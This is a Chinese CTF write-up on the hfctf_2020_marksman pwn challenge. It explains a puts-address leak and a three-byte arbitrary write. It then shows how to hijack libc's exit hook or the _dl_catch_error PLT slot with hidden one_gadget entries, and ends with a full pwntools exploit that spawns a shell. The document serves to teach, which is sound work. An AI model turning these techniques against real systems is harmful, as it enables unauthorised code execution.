hfctf_2020_marksman

注意
本文最后更新于 2021-04-21,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • libcgot表一般是可写的,保护一般是Partial RELRO,即.got.plt是可写的。
  • one_gadget工具默认只会给出很容易滿足条件的one_gadget,其实还有一些隐藏的one_gagdet可以通过-l/--level来显示出来
  • exit函数的调用链为exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive__rtld_lock_unlock_recursive是一个hook指针,可以劫持该函数指针写入one_gadget。一般来说,程序都会调用__libc_start_main,之后调用exit来退出。

题目分析

checksec

image-20210421220656415

函数分析

本题只包含一个main函数,因此,分析起来也很简单。

main

image-20210421221038478

函数的关键流程为:

  • 打印出puts函数的地址
  • 读取stdin输入,并转化为一个int64的整数
  • 读取stdin三个字符,存储到bullets数组中
  • 修改指定内存地址的低3个字节

这里有一个check_bullets,可以跟进去看一下:

check_bullets

image-20210421221833943

不允许数组的前两个元素同时为0xc50xf2,或者0x220xf3,或者0x8c0xa3

这是为了干啥呢?使用one_gadget工具一看,为了避免这些gadget

image-20210421222052135

漏洞点

漏洞点很明显,有两处:

  • 泄露出puts地址,等于给了libc基地址
  • 任意地址写低3个字节

但是,也有一些掣肘,只有写3个字节,似乎还不能写one_gadget,那还能写啥呢。

利用思路

知识点

1、一番思考,我去看了看one_gadget的参数,看是不是有啥有关one_gadget我还不知道的参数和命令。

image-20210421222506770

有一个--level参数,可以输出更多的one_gadget。我们来试一试:

image-20210421222712821

可以看到,的确是多了很多one_gadget,但是这些多出来的one_gadgetconstraints约束更多了,不仅仅像之前的只需要rsp + 0x40 == NULL这么简单。但是,至少有可用的one_gadget可以试一试。

2、后来解出题后,网上搜了一下wp,发现这位师傅的思路也值得借鉴。去寻找那些约束条件比较宽松的one_gadget上方附近有没有什么值得用的地址。有一个0x10a38cone_gadget上方:

image-20210421223309342

结合exit函数的调用链,劫持__rtld_lock_unlock_recursive指针,修改为0x10a387,可以绕过check,也能获取shell。但是我试了一下,这个劫持方式可能会失败,并不是百分百成功。

3、根据这位博主梳理的dlopen调用链,可以直到最后会调用____libc_dlopen_mode,最后会调用_dl_catch_error,因此,可以修改该_dl_catch_error@plt+6,更改为one_gadget

4、查看puts函数的调用链,可以看到,会调用strlen函数,因此,也可以修改strlen@gotoe_gadget

利用过程

利用思路一:

  • 泄露puts函数地址,计算得到__rtld_lock_unlock_recursive(0x81df60)的偏移
  • 修改__rtld_lock_unlock_recursive低三个字节为0x10a387

利用思路二:

  • 泄露puts函数地址,计算得到_dl_catch_error@plt+6地址
  • 修改_dl_catch_error@plt+6(0x5f4038)地址为one_gadget(0xe569f)

EXP

调试过程

这里重点调试思路二,同时解释一下,为啥要跳到libc_base + 0x5f4038

  • 首先,泄露出地址,并计算出libc基地址,同时得到需要跳转的地址

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    sh.recvuntil("I placed the target near: ")
    msg = sh.recvline()
    
    puts_addr = int16(msg[:-1].decode())
    LOG_ADDR("puts_addr", puts_addr)
    libc_base_addr = puts_addr - 0x809c0
    LOG_ADDR("libc_base_addr", libc_base_addr)
    
    one_gadget1 = libc_base_addr + 0xe569f
    _dl_catch_error_offset = 0x5f4038
    target_addr = libc_base_addr + _dl_catch_error_offset

    image-20210421235945084

    image-20210422000022426

  • 然后,修改目标地址为one_gadget

    1
    2
    3
    4
    5
    6
    7
    
    sh.sendlineafter("shoot!shoot!\n", str(target_addr))
    input_gadget = one_gadget1
    for _ in range(3):
        sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
        input_gadget = input_gadget >> 8
    
    sh.interactive()

    image-20210422000101901

  • 获取shell

    image-20210422000200998

接着来,解释一下,为啥是0x5f4038。需要设置断点在dlopen处:

image-20210422000413255

然后输入si,步进,发现最终会调用_dl_catch_error

image-20210422000540824

call 0x7f64e0d2ad90,所以继续跟进,看看0x7f64e0d2ad90是在做什么:

image-20210422000646421

会跳转到rip+0x2022a2处指向的地址,我们继续步进:

image-20210422000919570

发现这个地址就是0x7f64e0f2d038,所以看下这个地址是哪里,在干什么:

image-20210422001035525

这正是我们上面改的地址,存储着_dl_catch_error@plt+6,所以最终需要更改的偏移为0x5f4038

image-20210422001200763

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import functools

LOG_ADDR = lambda x, y: log.success('{} ===> {}'.format(x, hex(y)))
int16 = functools.partial(int, base=16)

sh = process("./hfctf_2020_marksman")

sh.recvuntil("I placed the target near: ")
msg = sh.recvline()

puts_addr = int16(msg[:-1].decode())
LOG_ADDR("puts_addr", puts_addr)
libc_base_addr = puts_addr - 0x809c0
LOG_ADDR("libc_base_addr", libc_base_addr)

one_gadget1 = libc_base_addr + 0x10a387
__rtld_lock_unlock_recursive_offset = 0x81df60
target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset

# one_gadget1 = libc_base_addr + 0xe569f
# _dl_catch_error_offset = 0x5f4038
# target_addr = libc_base_addr + _dl_catch_error_offset

sh.sendlineafter("shoot!shoot!\n", str(target_addr))
input_gadget = one_gadget1

for _ in range(3):
    sh.sendlineafter("biang!\n", chr(input_gadget & 0xff))
    input_gadget = input_gadget >> 8

sh.interactive()

最后远程攻击效果如下:

image-20210422001633544

引用与参考

1、My Blog

2、exit 利用

3、exit hook

4、dlopen 源码分析

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%